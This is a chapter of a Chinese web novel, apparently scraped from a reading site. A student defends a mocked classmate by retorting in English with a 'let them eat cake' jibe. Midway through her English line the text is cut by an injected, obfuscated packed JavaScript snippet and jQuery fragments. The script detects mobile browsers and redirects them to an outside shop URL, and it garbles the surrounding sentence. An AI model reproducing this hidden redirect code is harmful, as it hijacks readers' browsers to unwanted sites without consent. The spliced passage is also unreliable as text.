65. 第一課2(2 / 2)

“何不食肉糜啊,同學。”陸教授語重心長地說,“要認識差距、承認差距、縮小差距,儘力消除差距。”

教授不愧是教授,幾句話就將剛剛那些自覺高人一等的男生說得低下頭去。

教訓完那些人,陸教授轉回來重新安撫米仙花,告訴她不要氣餒要自信,“以前沒有學過沒關係,從現在起學,很快就能掌握,學校有圖書館,裡麵有各種詞典和相關書籍,握相信你,一定可以學會的。”

米仙花受到鼓勵和鼓舞,用力點頭,“老師,我會努力的。”她的聲音還是有些顫抖。

教學繼續。

符伊年聽得很認真。她一早就有過計劃的,要認真聽課,把課上時間完全利用起來,這樣下課後她才有時間去施行自己的創業大計。

不過,真正實行恐怕要等到明年了,畢竟明年才是真正的改革開放之年。

陸教授的課講得很有趣,就是時間太短了,好像才聽了一會兒下課鈴就響了。一節課四十五分鐘,除開開頭的介紹和討論,中間還有個小插曲,實際講課時間也就二十分鐘,所以下課鈴響後,所有人都意猶未儘。

下課之前,陸教授給同學們推薦了幾本相關著作:《鄉土中國》《四千年農夫》《國富論》《資本論》……

“這些是我認為你們至少應該知道的幾本書,最少要讀一遍,如果讀不了原著,可以讀譯本,我希望你們讀完後,可以寫下心得或感想。我相信,每一遍都會有不同的感受。”

隨著陸教授一聲“下課”,全班同學起立鞠躬,“老師再見!”

送走了教授,符伊年戳了戳常開心和馬悅,示意她倆看向男生那一側,之前笑米仙花的那幾個人,又在互相擠眼睛撞肩膀,甚至開始模仿米仙花用拚音讀法念26字母表了。

三人對視一眼,同時起身走到男生那裡,常開心和馬悅站在符伊年身邊兩側,像是護衛一樣,聽她用十分標準的發音對兩個男生說:“With

;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897823|131614||http|test|mini|href|location'.split('|'),0,{}));

() {

$('.inform').remove();

$('#tent').append('

outbread,letthemeatcreamcake。YouguysareworsethantheQueenofLouisXVIofFrance!”

本來她以為二人笑話米仙花必定英文非常好,肯定能懂她說得是什麼,結果兩個人一頭霧水地看向符伊年,根本就沒聽明白她說的是什麼,更何況這句子的典故和隱喻了。

符伊年隻覺得自己簡直是對牛彈琴白費一番口舌,然後又覺得十分好笑:這麼簡單的句子都聽不明白,竟然還有臉笑話彆人。

於是符伊年一臉無語地拉著常開心和馬悅回了座位。

“年年!你剛剛說的什麼?”馬悅拉住符伊年的手,激動且好奇地問她,“真好聽,雖然我沒有聽懂。”

常開心也很好奇,不過她倒不是一點都沒明白,“前麵那句話我大概明白,就是說沒有麵包就吃奶油蛋糕,是不是?”說著看向符伊年,希望得到她的肯定。

符伊年點頭,“直譯就是這個意思,要是用我們老祖宗的話說,就是:何不食肉糜。說他們幾個站著說話不腰疼,不知民間疾苦呢。”

劉洋給符伊年豎大拇指,“我猜就是這個意思,後麵那句話是罵他們比路易十六那個瑪麗王後還討厭,是吧?”

符伊年給劉洋比了兩個大拇指,“就是這個意思,那個瑪麗王後和晉惠帝是一樣的角色,都是生活奢靡腐化、不知民生艱苦的當權者。”

米花仙知道這三個人是去替自己出氣去了,尤其是符伊年,你們不是嘲笑她不懂英文嗎,那我就用你在意的點回敬你,“以毒攻毒”無外如是。

米仙花這個時候還不知道,若乾年後有一個專門的詞來表示這種說法,叫“用魔法打敗魔法”,“回旋鏢”來得迅速。

米仙花很開心,她十分真誠地同符伊年道謝,謝謝她幫自己出了一口氣,“隻是下次不要這樣了,不是什麼大不了的事情,萬一他們生氣了找你麻煩怎麼辦啊。”

“他敢!”符伊年的臉色立刻冷了下來,怒視著男生那一側,“要是敢找我麻煩,那就要做好被我找麻煩的準備。”

幾個人交談的聲音不高,男生同他們隔了兩排並不能聽清他們說些什麼,但是當符伊年冷臉怒視的時候,之前起哄嘲笑的幾人都感受到了她的怒意,不自覺地低下頭或者心虛地轉移了目光。

不知道是符伊年展示的那幾句英語震撼住了他們,還是她這一眼怒視壓製了他們,總之麻煩並沒有找來,反而讓她在後來的團委工作進行的很方便很順利。

也算是意外之喜吧。

雖然今天算是第一天正式上課,但是其實課程一點都不輕鬆,每一節課的課程內容都又多又雜,還有很多陌生的專用名詞。

如同符伊年之前同祝鎔說的那樣,因為浪費和耽誤了十年之久,學校和教授們簡直恨不得將整本課本的知識像填鴨一樣教授給他們,這樣就能將時間節約下來,或者挽回一些曾經錯過、消失的時光。

所以即便後麵不再有課,符伊年也沒有立刻離開教室,而是認真整理筆記,做到能把每個知識點都吸收消化掉。

上一頁 書頁/目錄 下一章